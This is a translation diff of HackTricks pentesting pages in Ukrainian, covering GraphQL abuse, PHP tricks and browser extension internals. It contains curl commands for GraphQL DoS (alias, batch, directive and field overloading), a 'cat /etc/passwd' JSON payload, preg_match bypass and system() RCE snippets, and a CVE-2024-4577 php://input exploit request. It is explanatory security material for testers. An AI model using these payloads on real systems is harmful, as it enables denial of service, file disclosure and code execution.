||||
Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисний випадок використання, коли псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості.
|
||||
|
||||
Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можуть бути використані для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки він компілює кілька запитів в один HTTP-запит, потенційно дозволяючи перевірити численні коди знижок одночасно.
|
||||
```bash
|
||||
@ -490,7 +490,7 @@ valid
|
||||
|
||||
### Перевантаження псевдонімів
|
||||
|
||||
**Перевантаження псевдонімів** - це вразливість GraphQL, де зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до **відмови в обслуговуванні (DoS)**. Наприклад, у наведеному нижче запиті те саме поле (`expensiveField`) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно може виснажити ЦП або пам'ять:
|
||||
**Перевантаження псевдонімів** - це вразливість GraphQL, де зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до **Відмови в обслуговуванні (DoS)**. Наприклад, у наведеному нижче запиті те саме поле (`expensiveField`) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно може виснажити ЦП або пам'ять:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
@ -499,9 +499,9 @@ curl -X POST -H "Content-Type: application/json" \
|
||||
```
|
||||
Щоб зменшити це, реалізуйте обмеження на кількість псевдонімів, аналіз складності запитів або обмеження швидкості, щоб запобігти зловживанню ресурсами.
|
||||
|
||||
### **Пакетування запитів на основі масиву**
|
||||
### **Пакетування запитів на основі масивів**
|
||||
|
||||
**Пакетування запитів на основі масиву** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу.
|
||||
**Пакетування запитів на основі масивів** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу.
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром пакету або запитами, що вимагають великих обчислень, це може перевантажити сервер.
|
||||
У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром партії або запитами, які вимагають великих обчислень, це може перевантажити сервер.
|
||||
|
||||
### **Вразливість перевантаження директив**
|
||||
### **Уразливість через перевантаження директив**
|
||||
|
||||
**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дубльованими директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дубльованими директивами, щоб викликати високе використання обчислень або пам'яті, що призводить до **Відмови в обслуговуванні (DoS)**.
|
||||
**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дублікатними директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дублікатами директив, щоб викликати високе використання обчислень або пам'яті, що призводить до **відмови в обслуговуванні (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -535,11 +535,11 @@ curl -X POST \
|
||||
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
А потім **використовуйте деякі з кастомних**.
|
||||
І потім **використовуйте деякі з кастомних**.
|
||||
|
||||
### **Вразливість Дублювання Полів**
|
||||
|
||||
**Дублювання Полів** - це вразливість, коли сервер GraphQL дозволяє запити з однаковим полем, яке повторюється надмірно. Це змушує сервер повторно вирішувати поле для кожного випадку, споживаючи значні ресурси (ЦП, пам'ять та виклики бази даних). Зловмисник може створити запити з сотнями або тисячами повторюваних полів, викликаючи високе навантаження і потенційно призводячи до **Відмови в Обслуговуванні (DoS)**.
|
||||
**Дублювання Полів** - це вразливість, коли сервер GraphQL дозволяє запити з однаковим полем, яке повторюється надмірно. Це змушує сервер повторно вирішувати поле для кожного випадку, споживаючи значні ресурси (ЦП, пам'ять та виклики до бази даних). Зловмисник може створити запити з сотнями або тисячами повторюваних полів, викликаючи високе навантаження і потенційно призводячи до **Відмови в Обслуговуванні (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||
@ -550,16 +550,16 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Сканери вразливостей
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестування поширених неправильних налаштувань graphql кінцевих точок
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестує загальні неправильні налаштування graphql кінцевих точок
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Скрипт аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Визначення графіку, що використовується
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Набір інструментів, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Визначає графік, що використовується
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Інструмент, який можна використовувати для отримання схем і пошуку чутливих даних, тестування авторизації, брутфорсу схем і знаходження шляхів до певного типу.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Може використовуватися як автономний інструмент або [розширення Burp](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Може використовуватися як CLI клієнт також для автоматизації атак
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Інструмент, який перераховує різні способи **досягнення певного типу в схемі GraphQL**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Наступник автономного та CLI режимів InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Розширення Burp для розширеного тестування GraphQL. _**Сканер**_ є основою InQL v5.0, де ви можете аналізувати кінцеву точку GraphQL або локальний файл схеми інспекції. Він автоматично генерує всі можливі запити та мутації, організуючи їх у структурований вигляд для вашого аналізу. Компонент _**Атакуючий**_ дозволяє вам виконувати пакетні атаки GraphQL, що може бути корисним для обходу погано реалізованих обмежень швидкості.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Спробуйте отримати схему, навіть якщо інспекція вимкнена, використовуючи допомогу деяких баз даних Graphql, які запропонують назви мутацій та параметрів.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Спробуйте отримати схему, навіть якщо інспекція вимкнена, використовуючи допомогу деяких баз даних Graphql, які запропонують назви мутацій і параметрів.
|
||||
|
||||
### Клієнти
|
||||
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Cookies common location:
|
||||
## Загальне місцезнаходження куків:
|
||||
|
||||
Це також стосується куків phpMyAdmin.
|
||||
|
||||
@ -61,7 +61,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
```
|
||||
Та ж помилка виникає з `strcasecmp()`
|
||||
|
||||
### Суворе приведення типів
|
||||
### Жорстке приведення типів
|
||||
|
||||
Навіть якщо `===` **використовується**, можуть виникати помилки, які роблять **порівняння вразливим** до **приведення типів**. Наприклад, якщо порівняння **перетворює дані в інший тип об'єкта перед порівнянням**:
|
||||
```php
|
||||
@ -73,7 +73,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
#### Обхід нового рядка
|
||||
|
||||
Однак, при обмеженні початку регулярного виразу `preg_match()` **перевіряє лише перший рядок введення користувача**, тому, якщо ви зможете **надіслати** введення в **кількох рядках**, ви зможете обійти цю перевірку. Приклад:
|
||||
Однак, при обмеженні початку регулярного виразу `preg_match()` **перевіряє лише перший рядок введення користувача**, тому, якщо якимось чином ви зможете **надіслати** введення в **кількох рядках**, ви зможете обійти цю перевірку. Приклад:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -86,7 +86,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **JSON-дані**, надішліть їх у **кількох рядках**:
|
||||
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **дані JSON**, надішліть їх у **кількох рядках**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -109,9 +109,9 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [PCRE бібліотеці](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщається в стек.
|
||||
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [PCRE бібліотеці](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщується в стек.
|
||||
|
||||
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де більш детально обговорюється ця проблема. Наше завдання стало зрозумілим:\
|
||||
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де детальніше обговорюється ця проблема. Наше завдання стало зрозумілим:\
|
||||
**Надіслати вхідні дані, які змусили б regex виконати 100_000+ рекурсій, викликавши SIGSEGV, змусивши функцію `preg_match()` повернути `false`, таким чином змусивши додаток думати, що наш вхід не є шкідливим, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт `{system(<verybadcommand>)}` для отримання SSTI --> RCE --> flag :)**.
|
||||
|
||||
Отже, в термінах regex, ми насправді не виконуємо 100k "рекурсій", а замість цього рахуємо "кроки назад", які, як зазначає [документація PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), за замовчуванням становлять 1_000_000 (1M) у змінній `pcre.backtrack_limit`.\
|
||||
@ -152,16 +152,16 @@ Check:
|
||||
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до нього через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\* які використовуються в коді.
|
||||
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до нього через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\*, які використовуються в коді.
|
||||
- **PHPSESSION cookies одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні cookies в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до cookie іншого шляху**, встановивши значення cookie іншого шляху.\
|
||||
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковим ім'ям**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
|
||||
- Коли у вас є **імена користувачів** користувачів машини. Перевірте адресу: **/\~\<USERNAME>**, щоб дізнатися, чи активовані php каталоги.
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
Ці функції зазвичай використовуються в PHP для **генерації хешів з паролів** та для **перевірки**, чи є пароль правильним у порівнянні з хешем.\
|
||||
Підтримувані алгоритми: `PASSWORD_DEFAULT` та `PASSWORD_BCRYPT` (починається з `$2y$`). Зверніть увагу, що **PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT.** І наразі, **PASSWORD_BCRYPT** має **обмеження розміру на вхідні дані в 72 байти**. Тому, коли ви намагаєтеся хешувати щось більше ніж 72 байти за допомогою цього алгоритму, буде використано лише перші 72B:
|
||||
Підтримувані алгоритми: `PASSWORD_DEFAULT` та `PASSWORD_BCRYPT` (починається з `$2y$`). Зверніть увагу, що **PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT.** І наразі **PASSWORD_BCRYPT** має **обмеження на розмір вхідних даних у 72 байти**. Тому, коли ви намагаєтеся захешувати щось більше ніж 72 байти за допомогою цього алгоритму, буде використано лише перші 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -173,7 +173,7 @@ True
|
||||
|
||||
#### Виклик помилки після встановлення заголовків
|
||||
|
||||
З [**цього треду в твіттері**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) ви можете побачити, що надсилаючи більше ніж 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.
|
||||
З [**цього треду в твіттері**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) ви можете побачити, що надсилання більше ніж 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.
|
||||
|
||||
Це дозволяє обійти, наприклад, заголовки CSP, які встановлюються в кодах, таких як:
|
||||
```php
|
||||
@ -202,7 +202,7 @@ php-ssrf.md
|
||||
&#xNAN;**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[Перевірте це для більш корисних функцій PHP](php-useful-functions-disable_functions-open_basedir-bypass/)
|
||||
[Перевірте це для більш корисних функцій PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
|
||||
### **RCE через** **preg_replace()**
|
||||
```php
|
||||
@ -210,7 +210,7 @@ preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
Щоб виконати код у аргументі "replace", потрібне принаймні одне співпадіння.\
|
||||
Ця опція preg_replace була **застарілою починаючи з PHP 5.5.0.**
|
||||
Ця опція preg_replace була **застаріла з PHP 5.5.0.**
|
||||
|
||||
### **RCE через Eval()**
|
||||
```
|
||||
@ -293,7 +293,7 @@ usort();}phpinfo;#, "cmp");
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Більше того, можливо інжектувати параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з [**цього посту**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
Крім того, можливо ввести параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з [**цього посту**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -311,7 +311,7 @@ phpinfo();
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**У цьому пості**](https://blog.redteam-pentesting.de/2024/moodle-rce/) можна знайти чудові ідеї для генерації brain fuck PHP коду з дуже обмеженою кількістю дозволених символів.\
|
||||
Більше того, також пропонується цікавий спосіб виконання функцій, які дозволили їм обійти кілька перевірок:
|
||||
Більше того, також пропонується цікавий спосіб виконання функцій, які дозволили обійти кілька перевірок:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
@ -323,19 +323,19 @@ exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути виведення помилок у `/etc/php5/apache2/php.ini`, додавши `display_errors = On` і перезапустивши apache: `sudo systemctl restart apache2`
|
||||
Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути виведення помилок у `/etc/php5/apache2/php.ini`, додавши `display_errors = On`, і перезапустити apache: `sudo systemctl restart apache2`
|
||||
|
||||
### Деобфускація PHP коду
|
||||
### Деобфускація PHP-коду
|
||||
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php коду.**
|
||||
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php-коду.**
|
||||
|
||||
## PHP обгортки та протоколи
|
||||
## PHP Обгортки та протоколи
|
||||
|
||||
PHP обгортки та протоколи можуть дозволити вам **обійти захист на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP обгортки та протоколи можуть дозволити вам **обійти захисти на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug неавтентифікований RCE
|
||||
|
||||
Якщо ви бачите, що **Xdebug** увімкнено в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
Якщо ви бачите, що **Xdebug** **увімкнено** в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
## Змінні змінних
|
||||
```php
|
||||
|
@ -14,7 +14,7 @@
|
||||
|
||||
### **Скрипти контенту**
|
||||
|
||||
Кожен скрипт контенту має прямий доступ до DOM **однієї веб-сторінки** і, отже, піддається **потенційно шкідливому вводу**. Однак скрипт контенту не має жодних дозволів, окрім можливості надсилати повідомлення до ядра розширення.
|
||||
Кожен скрипт контенту має прямий доступ до DOM **однієї веб-сторінки** і, таким чином, піддається **потенційно шкідливому вводу**. Однак скрипт контенту не має жодних дозволів, окрім можливості надсилати повідомлення до ядра розширення.
|
||||
|
||||
### **Ядро розширення**
|
||||
|
||||
@ -78,7 +78,7 @@
|
||||
```
|
||||
Щоб включити або виключити більше URL-адрес, також можна використовувати **`include_globs`** та **`exclude_globs`**.
|
||||
|
||||
Це приклад контентного скрипта, який додасть кнопку пояснення на сторінку, коли [API зберігання](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) буде використовуватися для отримання значення `message` з пам'яті розширення.
|
||||
Це приклад контентного скрипта, який додасть кнопку пояснення на сторінку, коли [API зберігання](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) буде використовуватися для отримання значення `message` з сховища розширення.
|
||||
```js
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let div = document.createElement("div")
|
||||
@ -97,16 +97,16 @@ document.body.appendChild(div)
|
||||
> Залежно від браузера, можливості скрипта контенту можуть трохи відрізнятися. Для браузерів на базі Chromium список можливостей доступний у [документації Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), а для Firefox [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) слугує основним джерелом.\
|
||||
> Також варто зазначити, що скрипти контенту мають можливість спілкуватися зі скриптами фону, що дозволяє їм виконувати дії та передавати відповіді назад.
|
||||
|
||||
Для перегляду та налагодження скриптів контенту в Chrome меню інструментів розробника можна отримати з Опції > Більше інструментів > Інструменти розробника АБО натиснувши Ctrl + Shift + I.
|
||||
Для перегляду та налагодження скриптів контенту в Chrome меню інструментів розробника можна відкрити з Options > More tools > Developer tools АБО натиснувши Ctrl + Shift + I.
|
||||
|
||||
Після відображення інструментів розробника потрібно натиснути на **вкладку Source**, а потім на вкладку **Content Scripts**. Це дозволяє спостерігати за запущеними скриптами контенту з різних розширень та встановлювати точки зупинки для відстеження потоку виконання.
|
||||
Після відображення інструментів розробника потрібно натиснути на **Source tab**, а потім на **Content Scripts** tab. Це дозволяє спостерігати за запущеними скриптами контенту з різних розширень та встановлювати точки зупинки для відстеження потоку виконання.
|
||||
|
||||
### Впроваджені скрипти контенту
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що **скрипти контенту не є обов'язковими**, оскільки також можливо **динамічно** **впроваджувати** скрипти та **програмно впроваджувати їх** на веб-сторінках через **`tabs.executeScript`**. Це насправді забезпечує більше **докладних контролів**.
|
||||
> Зверніть увагу, що **скрипти контенту не є обов'язковими**, оскільки також можливо **динамічно** **впроваджувати** скрипти та **програмно впроваджувати їх** на веб-сторінках через **`tabs.executeScript`**. Це насправді надає більше **докладних контролів**.
|
||||
|
||||
Для програмного впровадження скрипта контенту розширення повинно мати [дозволи хоста](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, на яку потрібно впровадити скрипти. Ці дозволи можуть бути отримані або **запитуючи їх** у маніфесті розширення, або на тимчасовій основі через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
Для програмного впровадження скрипта контенту розширення повинно мати [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, на яку потрібно впровадити скрипти. Ці дозволи можуть бути отримані або **запитуючи їх** в маніфесті розширення, або на тимчасовій основі через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Приклад розширення на основі activeTab
|
||||
```json:manifest.json
|
||||
@ -177,7 +177,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
|
||||
- **`document_idle`**: Коли це можливо
|
||||
- **`document_start`**: Після будь-яких файлів з `css`, але до того, як буде побудовано будь-який інший DOM або виконано будь-який інший скрипт.
|
||||
- **`document_end`**: Негайно після завершення DOM, але до того, як підресурси, такі як зображення та фрейми, завантажені.
|
||||
- **`document_end`**: Негайно після завершення DOM, але до того, як завантажаться підресурси, такі як зображення та фрейми.
|
||||
|
||||
#### Via `manifest.json`
|
||||
```json
|
||||
@ -195,7 +195,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
}
|
||||
|
||||
```
|
||||
Через **`service-worker.js`**
|
||||
Шляхом **`service-worker.js`**
|
||||
```javascript
|
||||
chrome.scripting.registerContentScripts([
|
||||
{
|
||||
@ -213,11 +213,11 @@ js: ["contentScript.js"],
|
||||
**Ключові моменти**:
|
||||
|
||||
- **Роль фонової сторінки:** Виконує функцію нервового центру для розширення, забезпечуючи зв'язок і координацію між різними частинами розширення.
|
||||
- **Постійність:** Це завжди присутня сутність, невидима для користувача, але важлива для функціональності розширення.
|
||||
- **Автоматичне створення:** Якщо не визначено явно, браузер автоматично створить фонову сторінку. Ця автоматично згенерована сторінка включатиме всі фонові скрипти, зазначені в маніфесті розширення, забезпечуючи безперебійну роботу фонових завдань розширення.
|
||||
- **Постійність:** Це завжди присутня сутність, невидима для користувача, але невід'ємна для функціональності розширення.
|
||||
- **Автоматичне створення:** Якщо не визначено явно, браузер автоматично створить фонову сторінку. Ця автоматично згенерована сторінка міститиме всі фонові скрипти, зазначені в маніфесті розширення, забезпечуючи безперебійну роботу фонових завдань розширення.
|
||||
|
||||
> [!TIP]
|
||||
> Зручність, яку надає браузер, автоматично генеруючи фонову сторінку (коли не оголошено явно), забезпечує інтеграцію та функціонування всіх необхідних фонових скриптів, спрощуючи процес налаштування розширення.
|
||||
> Зручність, яку надає браузер, автоматично генеруючи фонову сторінку (коли вона не оголошена явно), забезпечує інтеграцію та функціонування всіх необхідних фонових скриптів, спрощуючи процес налаштування розширення.
|
||||
|
||||
Приклад фонового скрипта:
|
||||
```js
|
||||
@ -252,9 +252,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
|
||||
**`permissions`** та **`host_permissions`** є записами з `manifest.json`, які вказують **які дозволи** має розширення браузера (сховище, місцезнаходження...) і на **яких веб-сторінках**.
|
||||
|
||||
Оскільки розширення браузера можуть бути так **привілейованими**, зловмисне або скомпрометоване може дозволити зловмиснику **різні способи викрадення чутливої інформації та шпигунства за користувачем**.
|
||||
Оскільки розширення браузера можуть бути настільки **привілейованими**, зловмисне або скомпрометоване може дозволити зловмиснику **різні способи викрадення чутливої інформації та шпигунства за користувачем**.
|
||||
|
||||
Перевірте, як ці налаштування працюють і як їх можна зловживати в:
|
||||
Перевірте, як працюють ці налаштування і як їх можна зловживати в:
|
||||
|
||||
{{#ref}}
|
||||
browext-permissions-and-host_permissions.md
|
||||
@ -338,7 +338,7 @@ browext-clickjacking.md
|
||||
Чим **менше розширень і URL-адрес** вказано тут, тим **менша площа атаки** буде.
|
||||
|
||||
> [!CAUTION]
|
||||
> Якщо веб-сторінка **вразлива до XSS або захоплення** вказана в **`externally_connectable`**, зловмисник зможе **надсилати повідомлення безпосередньо до фонового скрипта**, повністю обходячи Контентний скрипт та його CSP.
|
||||
> Якщо веб-сторінка **вразлива до XSS або захоплення** вказана в **`externally_connectable`**, зловмисник зможе **надсилати повідомлення безпосередньо до фонового скрипта**, повністю обходячи Контентний скрипт і його CSP.
|
||||
>
|
||||
> Тому це є **дуже потужним обходом**.
|
||||
>
|
||||
@ -348,7 +348,7 @@ browext-clickjacking.md
|
||||
|
||||
### Розширення <--> Веб-додаток
|
||||
|
||||
Для комунікації між контентним скриптом і веб-сторінкою зазвичай використовуються повідомлення. Тому в веб-додатку ви зазвичай знайдете виклики функції **`window.postMessage`** та в контентному скрипті слухачі, такі як **`window.addEventListener`**. Зверніть увагу, що розширення також може **спілкуватися з веб-додатком, надсилаючи Post Message** (і тому веб повинен це очікувати) або просто змусити веб завантажити новий скрипт.
|
||||
Для комунікації між контентним скриптом і веб-сторінкою зазвичай використовуються повідомлення. Тому в веб-додатку ви зазвичай знайдете виклики до функції **`window.postMessage`** і в контентному скрипті слухачі, такі як **`window.addEventListener`**. Зверніть увагу, що розширення також може **спілкуватися з веб-додатком, надсилаючи Post Message** (і тому веб повинен це очікувати) або просто змусити веб завантажити новий скрипт.
|
||||
|
||||
